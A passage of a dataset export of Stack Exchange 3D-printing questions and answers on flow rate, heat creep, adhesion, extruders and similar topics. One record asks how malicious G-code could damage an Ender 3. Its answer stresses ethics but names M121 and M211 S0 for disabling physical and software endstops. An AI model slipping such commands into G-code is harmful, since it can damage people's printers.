"difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.212676"}
{"id": "hf_a853c8075474", "question": "<p>Most people, articles, videos, etc. refer to printing speed by linear speed (mm/s), but a lot of YouTubers prefer to talk about volumetric flow (mm<sup>3</sup>/s) (mm cubed per second).  I suspect that at some point in the past year or three, some of the more engineer-y types switched to this new measurement standard, but I'm not entirely sure what happened.  What is the practical difference between using linear speed vs flow rate to determine print speed?</p>\n<p>For a follow-up, how can you go about changing your print speed as a flow rate in a slicer?  It's easy to find the linear speed, but I have not found the flow rate speed.  I use Cura and will start using Prusa Slic3r soon.</p>\n", "question_body": "", "answer": "Flow rate adds a dimension to the regularly used printing speed. Note that maximum volumetric flow is determined by the hotend (unless your extruder is under dimensioned or highly geared) as it cannot supply more molten filament than it can melt in a certain time.\nSo, instead of specifying the print speed, you should include the amount of material it can process. Volumetric flow includes nozzle diameter, layer thickness and hotend type.\nE.g. a 60 mm/s of a 0.4 mm nozzle at a 0.2 mm  layer height has a very different volumetric flow (4.8 mm³/s) from a 60 mm/s 0.8 mm nozzle at a 0.4 mm  layer height (19.2 mm³/s). The latter may require a different hotend to get that flow, but usually it is advised to print slower with a larger nozzle.\nMost practical is to use the linear printing speed. This is the value you find in the slicers. But, for a given hotend design it is good to keep the maximum volumetric flow into account to determine whether you are within the specifications of the hotend when you change certain printing/slicing parameters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.272359"}
{"id": "hf_48885ac4b3eb", "question": "<p>It seems there are some missing lines on the outer wall on the Z-axis with my prints. I'm not able to pinpoint the problem. Does anyone have ideas about what might be wrong with my setup/settings?</p>\n<p>Example:</p>\n<p><a href=\"https://i.stack.imgur.com/3q1k3.jpg\" rel=\"nofollow noreferrer\" title=\"Printed model with printing errors highlighted\"><img src=\"https://i.stack.imgur.com/3q1k3.jpg\" alt=\"Printed model with printing errors highlighted\" title=\"Printed model with printing errors highlighted\" /></a></p>\n<p>Here are some settings that I think are relevant:<br />\nPrinter: Ender 3 v1<br />\nFilament: Das Filament<br />\nSlicer: Cura</p>\n<ul>\n<li>Hotend temp: 215 °C</li>\n<li>Layer height: 0.2 mm</li>\n<li>Wall speed: 30 mm/s</li>\n<li>Travel speed: 200 mm/s</li>\n<li>Retraction distance: 6.5 mm</li>\n<li>Combing mode: not in skin (Max comb: 30)</li>\n</ul>\n<p>Cheers</p>\n", "question_body": "", "answer": "According to\n'The-EG' comment\nin this GitHub issue,\nAdd Creality Ender 2 Pro config #633\n, you can often determine the stepper drivers by one of a few ways:\nListen to the sound. The 'TMC22**' will sound much quieter\nLook for a marking in Sharpie on the SD Card reader\n```\n```\nC = HR4998\nE = A4988\nA = TMC2208\nB = TMC2209\nH = TMC2225\n```\n```\nRemove the heat sync\nhttps://github.com/MarlinFirmware/Configurations/pull/633#issuecomment-995480295\nAfter removing the heat sync, it appears that the Chip is actually a\n```\nMS35775\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.321333"}
{"id": "hf_b002f9bee9b2", "question": "<p>Recently, my Ender 3D Pro has been unable to print any large models successfully with PLA as the filament starts to expand inside the Teflon tube, causing a clog after about an hour of printing. I am starting to suspect that the problem is heat creep.</p>\n<ul>\n<li>This occurs with the two brands of PLA filament that I use (3D Fila and Voolt 3D).</li>\n<li>The hotend that I am using is the one that comes with the printer, I don't know what it is made out of.</li>\n</ul>\n<p>I have tried many things to patch this problem:</p>\n<ul>\n<li>Try to unclog it with the needle</li>\n<li>Replace nozzle (three times)</li>\n<li>Check if the Teflon tube is touching the nozzle</li>\n<li>Increase temperature from 200 to 220 °C</li>\n<li>Increase temperature from 200 to 215 °C</li>\n</ul>\n<p>If the problem is indeed heat creep, I have plans to control the heat sink temperature with a Peltier and an extra thermometer. Any other ideas are appreciated.</p>\n", "question_body": "", "answer": "This sounds like heat creep may be the problem. For preventing heat creep to occur you should do the opposite, print at lower temperature, tweak retraction length and increase cooling of the cold end.\nA Peltier element is not very effective cooler, use a bigger fan, or a fan with a higher flow rate. Note that the Peltier element required a large cooling body and a fan as well, so this adds a lot of weight to and limits space of the hotend. You should not go there, it has been tried before.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.358067"}
{"id": "hf_f3f88b6492f0", "question": "<p>I have a Prusa MK2.5 which runs at 12 V, the Prusa MK3 runs at 24 V.</p>\n<p>I noticed that on <a href=\"https://www.prusa3d.com/product/stepper-motors-set/\" rel=\"nofollow noreferrer\">Prusa's webpage</a>, they list the stepper motors as being compatible with both the MK2 <em>and</em> the MK3 even though they run at different voltages.</p>\n<p>My question is: are stepper motors typically tuned for specific voltages (like most fans are), or are these stepper motors compatible with <em>both</em> 12 and 24 V systems?</p>\n", "question_body": "", "answer": "Without having the exact model number of the motor to check the data sheet, this can't be answered.  Glancing at the link you supplied, I didn't see either a data sheet or a model number I could use to get a data sheet.\nTypically stepper motors overheat when they are run at too high of a voltage.  However, the advertised voltage for the motor could be the lowest voltage at which it works.\nFor a real answer, you'd have to look at the manufacturer's datasheet for the motor, which should include minimum and maximum voltages and graphs showing current vs. voltage vs. force graphs, and possibly duty cycle graphs.\nAlso, in some cases, if you run a motor at a higher voltage than it is rated for, it may produce back EMF that is larger than the motor controller is prepared for, and it could burn out the controller.  However, if the controller is designed for 24v, this is less likely of a problem.\nNote also that there are conversion kits, where you place a small board between the controller and the motor that fixes the voltage for the motor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.380789"}
{"id": "hf_dae5d40adbdc", "question": "<p>I'd like to print a cylinder, 50 mm diameter, 200 mm long, with 1.5 mm diameter holes tightly fit like this:</p>\n<p><a href=\"https://i.stack.imgur.com/i11dN.png\" rel=\"nofollow noreferrer\" title=\"3D rendering of a cylinder with holes\"><img src=\"https://i.stack.imgur.com/i11dN.png\" alt=\"3D rendering of a cylinder with holes\" title=\"3D rendering of a cylinder with holes\" /></a></p>\n<p>The holes go all the way through from top to bottom.</p>\n<p>I am using a Prusa i3 MK3S. With 0.1 mm detail and 20 % infill, printing one cylinder is going to take 5 days and 5 hours. I need at least five cylinders.</p>\n<ul>\n<li>Is the above setting appropriate for this job?</li>\n<li>Is there any way I can reduce the printing time?</li>\n</ul>\n", "question_body": "", "answer": "That's a hell of a print!\nYou are printing a model that has a highly complex structure there, with about 650ish holes, assuming there is space for about 2 perimeters between each hole.\nTaking my standard 0.3 mm layer height and 0.4 mm nozzle using a 0.45 mm wide line, I sliced a 10mm high slice of the model for a first estimate of the expected print time - and came out with 2:21 hours. That means the expected print time with 0.3 mm layer height is in the area of 47 hours - or just about 2 days.\nAs a result, 5 days and 5 hours are in the order I'd expect from a 0.1 mm layer height print for the same nozzle, in fact, your settings seem to have a faster print speed than I do work with.\nIn general,  don't think this model is good for FDM Printing at all, due to many non-fully formed lines inside the model (yellow) and the red perimeters being a very dense pattern.\nSolutions?\nprint faster\nYou might get a faster speed with a high flow solution, for example, using a long melt zone (volcano-style) or an even higher flow core-heating 3DSolex nozzle. The latter originally only comes in 0.6 mm and up, also mandating fewer holes, but in late 2021 CHT Nozles in 0.4 mm came to the market. This could drop print time some, but it'd still be a several days print job.\nreduced pattern\nBesides increasing layer height to drop printing time by the same factor, reducing the number of holes and as a result, spacing them further apart not only can increase the print speed but also make the print form more reliable.\nAnother alternative would be to alter the pattern from a circle to a hexagonal pattern: by using hexagons, the resulting pattern does not contain thin walls and might print much faster - depending on hole size, you might experience a drop by a factor of 2!\nPrinted differently\nGoing from FDM printing to a system such as SLS might be faster and more reliable while SLA/DLP would make this print not only fast and reliable but also trivial - if one can get a 200 mm high SLA/DLP printer, all three models should be able to be printed in one go at the same time!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.405245"}
{"id": "hf_95f8581665a1", "question": "<p>the <a href=\"https://www.thingiverse.com/thing:763622\" rel=\"noreferrer\">3D Benchy</a> is everywhere. It is one of <strong>the</strong> top test prints if you look away from a simple cube.</p>\n<p>But what makes the Benchy a good test print at all? It does have almost no critical dimensions that would be measurable to see if the printer is calibrated correctly!</p>\n", "question_body": "", "answer": "the 3D Benchy isn't a specific calibration test\nWith the Benchy you don't see if your printer is calibrated in any axis, but it is a general use-case test for a model that can show you many of the issues you might face in a normal print. For all intents and purposes, it is more a general Benchmark item than a specific calibration test like a cube, stringing test, or temperature tower, where you go through iterations of a profile to dial in settings and printer properties.\nthe 3D Benchy is a Benchmark for printer and settings\nMost of the printing issues that can be seen on a Benchy are related to the print settings, though some are also related to the physical properties.\nOverhangs\nThe bow of the Benchy has a shape that is very conducive to seeing how much the printer can handle overhangs due to proper cooling and settings.\nThe arches in the sides of the cabin, as well as the back window, have a rather challenging overhang pattern (the extension needs to be larger and larger), and the front of the Benchy has a short bridge, which shows if cooling is happening properly.\nThe upper edge of the hull also is a little overhang, which shows how well small oversteps can be printed.\nSmall Diameter\nThe funnel of the Benchy is of sufficient small crossection, that with bad settings it can result in printing layers upon one another too fast, which can result in bulging, misinformation, or totally blobing that area.\nSharp corners\nThe front and back corners are rather sharp and can show the effects of ringing on the area next to them due to bad acceleration settings", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.428727"}
{"id": "hf_e0a69b88ecdc", "question": "<p>It seems that a Bowden extruder is the most used in all cheap 3D printers by far compared to Direct Drive that is very rare under 500 USD machines. But I haven't understood the reason, since in terms of hardware a direct drive doesn't seem to have any impact on price more than Bowden (correct me if I'm wrong).</p>\n<p>Why?</p>\n", "question_body": "", "answer": "As I understand it, there's really no good reason for this except \"momentum\". At some point in the not too distant past, a Bowden extruder was seen as an \"upgrade\" over direct drive, which required a bulky toolhead that was seen as limiting speeds.\n(This perception was at best accurate only for delta and CoreXY machines at the time even, I think. As it turned out, Bowden doesn't let you print faster, at least not at any quality, because the nonlinear/hysteresis effects of the Bowden tube on the actual amount of material extruded can't fully be compensated with linear advance/pressure advance once you reach moderately high speeds. You can overcome this with the\nNitram Bowden\nbut good luck finding a cheap 3D printer manufacturer willing to put in that kind of custom part!)\nAnyway, all the cheap printer manufacturers jumped on Bowden as a feature, and they're slow to develop any new designs rather than just making incremental improvements and production cost optimizations to existing ones.\nSince then, direct drive designs have improved greatly, and the mass of the good ones has gotten so low that it's hardly a consideration anymore except on the most extreme agility-seeking printers (designs attempting 50k-300k acceleration). Everything should be direct drive, especially since it makes things so much easier for beginners (no difficult-to-load tube, broken filament in tube, loose fittings messing up retraction, etc.)\nTeaching Tech has a video, oddly named\nWhy direct drive is not automatically better than bowden tube\n, where he basically concludes that it is actually better, and goes over some of the history I've touched on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.464147"}
{"id": "hf_8fc89748dc25", "question": "<p>In Cura Slicer, is it possible to change the direction that the filament is laid down when making the top layer?</p>\n<p><a href=\"https://i.stack.imgur.com/6AIdx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6AIdx.png\" alt=\"enter image description here\" /></a></p>\n<p>For example, in the above picture the filiment is laid down at about 45 degrees to the X\\Y axis. Can I make it 90 degrees?</p>\n", "question_body": "", "answer": "Yes with a few tricks:\nYou could turn the item by 45°, then all layers are turned to follow the local X and Y-axis of the body itself, but not the global X and Y of the printer - there'll be a 45° conversion between the items local coordinates and the printers global ones.\nOr you could choose a different upper layer pattern, for example concentric, for the upper and lowermost layer.\nIf you want to define a specific zig-zag direction, you need to go advanced mode, click the gear and enable \"Top/Bottom Line Direction\". This now allows altering the direction by setting an angle different from 45°/135°. The setting however is ignored if you don't use Lines or ZigZag", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.531020"}
{"id": "hf_6f3bd2c4eb5e", "question": "<p>Faulty endstop caused the printer (a traditional cartesian FDM) to try to move over the maximum axis limit at top, the noise has been atrocious, I don't see damages (apparently) but I'm wondering if this could have damaged something or the motors aren't strong enough to do any serious physical damage to mechanics of movement.</p>\n<p>Could you clarify this?</p>\n", "question_body": "", "answer": "It's highly unlikely this crash caused any physical or electrical damage to your printer. Printers are designed to be able to withstand an occasional crash as typically, no Axis Maximum endstops are installed. The 'atrocious' noise you describe hearing is the sound of the stepper motor having lost (or, in this case, repeatedly losing) steps. If you are worried, I would check that the X/Y Gantries are still in-tram and that the printer can still home itself without any problems.\nIf this was a Z-Max runout (ie, printer tried to move too high), I would also check that the Z carriage is still on the Z axis Leadscrews before attempting to home, because if the Z carriage is not on one or both of the leadscrews, It is possible for the machine to engage them at different heights, throwing the X gantry out of tram or worse if only one leadscrew manages to re-engage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.555467"}
{"id": "hf_64fbfe335cae", "question": "<p>I am currently printing PLA infused with 80% copper powder. So far I mainly used it because it looks and feels really nice and post-processing is almost limitless, however recently I have thought that metal-like filaments might actually be a good idea for gears (in case I don't want to use polycarbonate or carbon fiber PLA).</p>\n<p>I have been researching about the material properties of copper-infused PLA and found a few studies about the &quot;strength&quot;, however, those seem to have exclusively focussed on how much weight can be suspended on a hook where it showed pretty good results. The only other info I found was an unsourced &quot;it is more brittle&quot;, however the objects I printed so far do not feel more brittle.</p>\n<p>Does anyone have any experience with spur gears printed from copper-infused PLA? Are there any advantages over regular PLA? Any downsides (I could imagine higher abrasiveness is not really helpful)?</p>\n", "question_body": "", "answer": "At a guess, copper really isn't that strong so you're likely to see minimal improvements, if any.\nThe PLA carrier plastic is still PLA, with a low melting point.\nThe copper won't \"fuse\" with the PLA, it will still be flakes of metal embedded in a tiny pocket inside of a plastic structure.\nHowever this is all speculation, and your best option for an answer is to print some gears and methodically test them against plain PLA, and perhaps a metal gear if you can.  Try and use identical setups/bearings/pressures and times.\nPerhaps a high torque and a high-speed test, in both lubricated and unlubed, for PLA, copper-PLA, and a straight metal gear? That would be 12 tests in all and clear out all questions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.602511"}
{"id": "hf_f127bf8bdd42", "question": "<p>I have a bit of an odd request. I am studying the vulnerability of 3D printers and would like to know if there is a way to disable the limit switches on, for example, an Ender 3 in the G-code.</p>\n<p>Ideally, the exploit would be used by plugging in the malicious code via SD card into the 3D printer. I have found ways to change the nozzle temp and things like that, however, nothing on the limit switches.</p>\n<p>If I were the manufacturer, I wouldn't implement the function, so if it's not possible it will not be a surprise. If that's the case, what would be some other options for tearing this thing up?</p>\n", "question_body": "", "answer": "Ethics and justification:\nIf you have physical access to the device you could just... physically damage the device. Running arbitrary G-code is just more complicated\nMost printer farms have a strict no outside G-code policy for good reason. Because direct physical access to the printer does not provide any security.\nThis is also a problem for CNC Mills and other equipment. The firmware is not there to protect you. If you ask the system to put the spindle into XYZ_POS, the device's job is to deliver your 300 dollar end mill into the part as expediently and directly as you have told it. It does not hold your hand.\nAs a result, it's probably best that\nno one\nrun pre-compiled G-code. You should use an STL and generate your own G-code. Not only does it allow you to properly tune the print for your specific printer, but it prevents nasties from breaking your printer.\nDo not test this on a system you do not own. You will face civil and criminal liability for any damages as a result of performing this on printers that are not your own. Additionally, I would question the value of your research provided that physical access to a device automatically makes it vulnerable; let alone running arbitrary code from an untrusted source.\nTo help your research: Most \"secure\" facilities prevent even touching a machine with external code. All code has to be generated on trusted and isolated machines by trusted persons. There is no guarantee that the \"trusted\" person can't manufacture a job that will crash their 300,000 dollar CNC mill and cause damage - but there are serious repercussions for doing so.\nIt's extremely difficult to \"tear up\" a printer by turning off the endstops.\nYou can disable physical endstops with a simple command\n```\nM121\n```\n.\nHowever, this only does so much.\nWith\n```\nM121\n```\n, the printer is only really vulnerable before it has been\nhome\nd. Most printers will\nauto home\nwhen starting a print, or refuse to print until they are\nhomed\n. If issuing\n```\nM121\n```\nthen arbitrarily trying to ram it past an endstop, it will continue until it counts steps to the\nsoftware endstop value\n```\n[XYZ]_MIN_POS\n```\nto\n```\n[XYZ]_MAX_POS\n```\n.\nOlder printers didn't have software endstops and would keep going until they were stopped or turned off. But this wouldn't\nexplicitly\ncause damage as physical limitations would prevent it. Outside of old designs that do not physically limit the Z position - and crashing the nozzle into the printer.\nNowadays - the printer would crash into the axis limit and then stop because it would hit the software endstop (and funnily enough, be homed as a result - I have done this as an experiment on my own printers)\nThis would not damage the printer - just be annoying for a short time until it hits the software endstop.\nYou can however make it work like an older printer provided it does not have stall or crash sensing (like Prusas have by default) by issuing\n```\nM211 S0\n```\n.\nThis turns off the software endstops. And should allow it to continually try to reach the value programmed in the G-code. It should continue to count until it gets to XYZ_POS then finally stop.\nWill this cause damage? Maybe. If the Z-axis is high and it can physically push its way into the printbed hard enough it can cause damage to the hotend. However, generally, most printers are designed (these days) that the Z-axis cannot go too far into the print bed and cause (too much) damage. Modified printers can be vulnerable if they modify the bed but do not physically limit the Z-axis from going down too far. Additionally, when the printer\nautohomes\non print it usually will set zero to the endstop before the payload can be run, giving a home and only allowing excursion to the axis positives. When this happens, no damage can really occur outside of overheating the steppers/drivers and possibly damaging belts.\nThere are also some firmware protections to help protect the end-user (e.g. Prusa Crash Detection) - depending on the printer these may need to be circumvented as well.\nHow you can really tear up a printer? If you have physical access to it - you have total control over it. Simply being physically near it is enough for you to just throw it out a window. It's arbitrary to try to run any code. But if you're trying to research how a threat actor can mess up someone's printer?\nThomas Sandladerer made an excellent video on these vulnerabilities (specific to 3D printers) here:\nIn his video, he's speaking directly on the threat of running pre-formed G-code from public sources. (Something that you should not do - something that\nno one\nshould do)\nConclusion:\nIn security, physical access to a system by an untrusted person or running untrusted code on a machine is not allowed.\nFor this vulnerability to be exploited, it requires a person to do things that they should not be doing - running generated G-code from an untrusted source. This includes from \"friends\" or even family.\nI won't tell you how to \"really tear up\" a 3D printer as there are a plethora of horror stories out on the internet of printers catching fire let alone the threat of running some random code on your printer. How to do it is publicly available. You just have to figure it out yourself.\nThe lesson here is simple:\nJust don't run pre-compiled G-code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.627133"}
{"id": "hf_b1d968bbd297", "question": "<p>I'm running a stock Ender 5 pro with the filament that came with it, and using Creality Slicer 4.8.2, but I'm only able to get reliable bed adhesion if I increase the bed temperature from 50 to 60 °C for the bottom layer and decrease the print head speed by about 75 % from the default profile for the Ender 5.</p>\n<p>The machine is absolutely stock, and is fresh out of the box except for bed levelling.</p>\n<p>I used the default bed leveling print and that came out well, so I'm reasonably certain that it's not a bed leveling issue. The problem seems to be with models that I've made myself in blender and exported as STL files.</p>\n<p>In all cases the raft that was generated by the Creality software has printed out perfectly, but the print has only partially gone down when it came to the model itself. <img src=\"https://i.stack.imgur.com/sdXA1.jpg\" alt=\"enter image description here\" /></p>\n", "question_body": "", "answer": "Assuming Creality's stock firmware still doesn't have Linear Advance enabled, there's a fairly hard requirement to go slow on the first layer. This is because, as the toolhead accelerates up to higher speed without advancing the extruder extra to compensate for the backpressure in the filament-path/nozzle, you'll have an interval of underextrusion, giving less contact area for the extruded material to cling to the bed at the same time there's added force pulling it in a direction parallel to the bed surface. This becomes less critical to adhesion starting with the second layer, since the new material is bonding to itself rather than just trying to stick to a bed.\nHaving the bed hot will help it stick better and maybe even help reduce the pressure at the nozzle by reducing the heat loss, so it might work around the problem. But in general, you don't want to be in a situation where a few degrees of temperature difference are the cutoff between a failed print and a successful one.\nAnyway, do all the usual stuff to improve bed adhesion, and especially make sure your bed height is as close to perfect as you can get it, if you want moderately fast printing to work. But don't be surprised if you need to upgrade to a version of Marlin with Linear Advance (or to Klipper) to get successful high-speed first layers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.653291"}
{"id": "hf_97fc82381c0b", "question": "<p>Is there a machine (for hobbyists) that will make filament based on the type of plastic I put in. I will sort the plastic before I will put it in the machine.</p>\n<p>I have seen the <a href=\"http://filabot.com\" rel=\"nofollow noreferrer\">filabot</a> but this uses only plastic from previous prints not plastic types Polyethylene Terephthalate (PET or PETE) or High-Density Polyethylene (HDPE) (these are the #1 or #2 plastic types listed at <a href=\"https://plasticoceans.org/7-types-of-plastic/\" rel=\"nofollow noreferrer\">plasticoceans.org</a>).</p>\n<p>To reiterate:</p>\n<ul>\n<li>I am asking if there is a machine that can turn a plastic bottle into usable filament.</li>\n<li>I want to know if there is a machine (currently on the market) that will make filament, based on the type of plastic I put in.</li>\n</ul>\n<hr />\n<p>I <em>will</em> sort the plastic <em>before</em> I will put it in the machine... so,</p>\n<pre><code>sorted waste in ---&gt; sorted filament out\n</code></pre>\n", "question_body": "", "answer": "The source of the plastic doesn't matter a lot.\nWhat matters is the plastic's composition and chemistry and how well shredded it is.\nIssues are:\nIs it a thermoplast that can be remelted?\nIs the working melt temperature range compatible with your printer and/or the filament forming machine?\nIs the plastic chemically compatible with the components of the machines and the print platform you are using in the 3d printer? (If it isn't, it either will stick when it shouldn't or won't stick when it should.)\nIs the plastic shredded enough for the filament reforming machine to use it?\nIs the flexibility of the remelted plastic suitable for 3d printing, or does it need volatile plasticizers added to make it soft enough to handle as filament?\nOther factors may also be a problem.  For example, PLA, TPU, and PETG are fairly temperature stable, but other plastics have high thermal expansion rates that can cause warping during 3d printing.  There are a few ways to compensate for that however.\nIf the plastic is contaminated with other plastics or non-soluble inks or labels, this must be removed first, or the results may be weak or not melt evenly or leave debris in the extrusion nozzle.\nNot only must the plastic be chemically compatible, but also there are tuning parameters such as temperature profiles, cooling speed, and extrusion speed that have to be calibrated to the plastic to get good filament.\nIf all of these things are OK then it might be possible to use a machine to reform plastic from any source into filament.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.677433"}
{"id": "hf_ca1fc7b4a8ea", "question": "<p>I have an ender 5, and I'm not certain that the bed is getting up to temperature. Or maybe I'm not understanding what it should be like when it gets up to temperature.</p>\n<p>If I use an infrared thermometer, where should I aim it, and what should it be saying in comparison to what the screen on the printer says?</p>\n<p>For example, if the screen says 50 degrees should the thermometer read 50 degrees, or should it read something different because that's an internal temperature or something not a surface temperature?</p>\n<p>At the moment the bed seems &quot;nicely warm&quot; when the temperature on the display says that I should burn my hand if I touch it.</p>\n", "question_body": "", "answer": "Sensor mounting\nAn Infrared Thermometer prefers a non-reflective surface to accurately read the temperature reliably - glass is reflective for Infrared light under many angles and can in the worst case result in measuring anything\nbut\nwhat you want to measure. To that degree, a piece of paper tape (Painter's tape or Washi-tape works fine) can act as a mounted measuring point.\nA contact temperature sensor can be mounted touching the plate in a location easily by putting it in contact using some tape.\nSensor positioning\nHowever, do note that the temperature sensor of the printer is not mounted on the top of the build platform but at the heater element under it. This means two things:\nThere is a temperature differential between the heater (which would be quite hot but not scorching in an instant of touching it) under the aluminium bed, the top of the aluminium bed, and even more if correlated against the surface of your build platform.\nOn the other hand, to verify your sensor setting, you need to measure under the bed at the heating element or at the interface between the heater and the aluminium bed. For example, you could use a spot right next to the heater as your probing point. This is incidentally quite close to where the temperature sensor should be mounted anyway.\nBed temperature control\nDepending on your setup, the temperature difference between heater and the build surface could be up to about 15 °C and I would deem that an acceptable number. In accounting for the wanted build surface temperature, one can adjust the set heater temperature accordingly, as shown in this experience I had:\nOn particularly a cold day in late 2021 the heating in the room was not gaining enough heating water from the central unit set to a lower setting than it ought to. As a result, the room was down from the usual temperature to a rather cold ca. 12 °C. On that day I had to increase the bed temperature by a couple of degrees to gain proper bed adhesion, but it fixed itself once I figured out to fix the setting on the central unit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.702477"}
{"id": "hf_cb02fc79b6fc", "question": "<p>I'm new to 3D printing, but my printer supports Linear Advance. I heard that it offers improvements in print quality. I used <a href=\"https://marlinfw.org/tools/lin_advance/k-factor.html\" rel=\"nofollow noreferrer\">Marlin Linear Advance Pattern Generator</a> to generate a print with horizontal lines at a variety of k-values.</p>\n<p>Which K-Value would be best from my below image?</p>\n<p><a href=\"https://i.stack.imgur.com/i8UAF.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/i8UAF.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "As a general answer to evaluate the effectiveness of the K-factor, when the K-factor Calibration Pattern generator output print is inconclusive (probably not in this case), printing a tower at various K-factor values might give you more insight, e.g. like:\nTo vary the K-factor with height, a similar procedure as in\nHow does one use a heat tower?\ncan be followed to insert a new K-factor with\nG-code\n```\nM900\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.738024"}
{"id": "hf_fe1cdf873f5e", "question": "<p>I have an Ender 3 pro. In my country electricity outage is an issue, though it comes back pretty instantaneously, when I hit the resume button on the Ender 3 pro after heating the hot end and the bed when the hot end lifts the Y-axis or X-axis shifts a little bit, I do not understand why as when there is no power outage the prints are just flawless.</p>\n<p>I have also tried tightening everything but feels like the motors are having their own fun tilting an extra step for no reason. I have thrown away many prints because of this problem as I work in robotics and prototyping is a necessary thing for me and so is the accuracy.</p>\n", "question_body": "", "answer": "Not sure on your exact firmware, but it could be that it is using a\nM413 power loss recovery\nrather than a power loss interrupt pin. Possible you might be able to change this with your current firmware, but worst case you could install a new controller that does support this power loss interrupt pin.\nDepending on the frequency and duration of your power outages it may be worth getting an uninterruptible power supply (UPS). With the heat bed off\nthis UPS\nwould run a full print easily. It would even handle a heat bed for shorter outages.\nWhere you work in robotics, you are probably electrically savvy enough to set your printer up on\ndirect DC battery power\n, which would be cheaper than a UPS of equivalent energy storage. If you need help going that route just post over on electrical engineering stack exchange with the power supply info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.762754"}
{"id": "hf_8dbfabbe33d2", "question": "<p>I'm working on a project using 3D printed parts, everything is working very nicely except for one part that needs a 3 mm x 1.2 mm diameter rod. I can print with PLA/PLA+ but such a thin object doesn't seem viable for 3D printing. Is it still possible or am I better off using a 1.2 mm metal dowel?</p>\n<p>The bigger part (5 mm x 7 mm diameter) near the back isn't an issue, it's the small rod that I can't seem to print correctly</p>\n<p><a href=\"https://i.stack.imgur.com/JGkft.png\" rel=\"nofollow noreferrer\" title=\"Part\"><img src=\"https://i.stack.imgur.com/JGkft.png\" alt=\"Part\" title=\"Part\" /></a></p>\n", "question_body": "", "answer": "It would be impossible to print this standing with the rod straight up, and even if you got it to print the part would be very weak due to the thin cross-section of the rod aligning with the layers.\nThe only way to print this part and get a usable result is to print it in the orientation shown in the picture, with the rod part being horizontal. Because the layers will now have a much larger cross-sectional area, this not only makes the print much stronger but also prevents issues with the plastic not cooling off sufficiently between layers. Though this will still be a tricky print, because now you'll need lots of support material.\nUsing a metal rod is probably the better option. Another option is printing the rod lying flat on the bed, and gluing it in place later. This would avoid the issue with support material.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 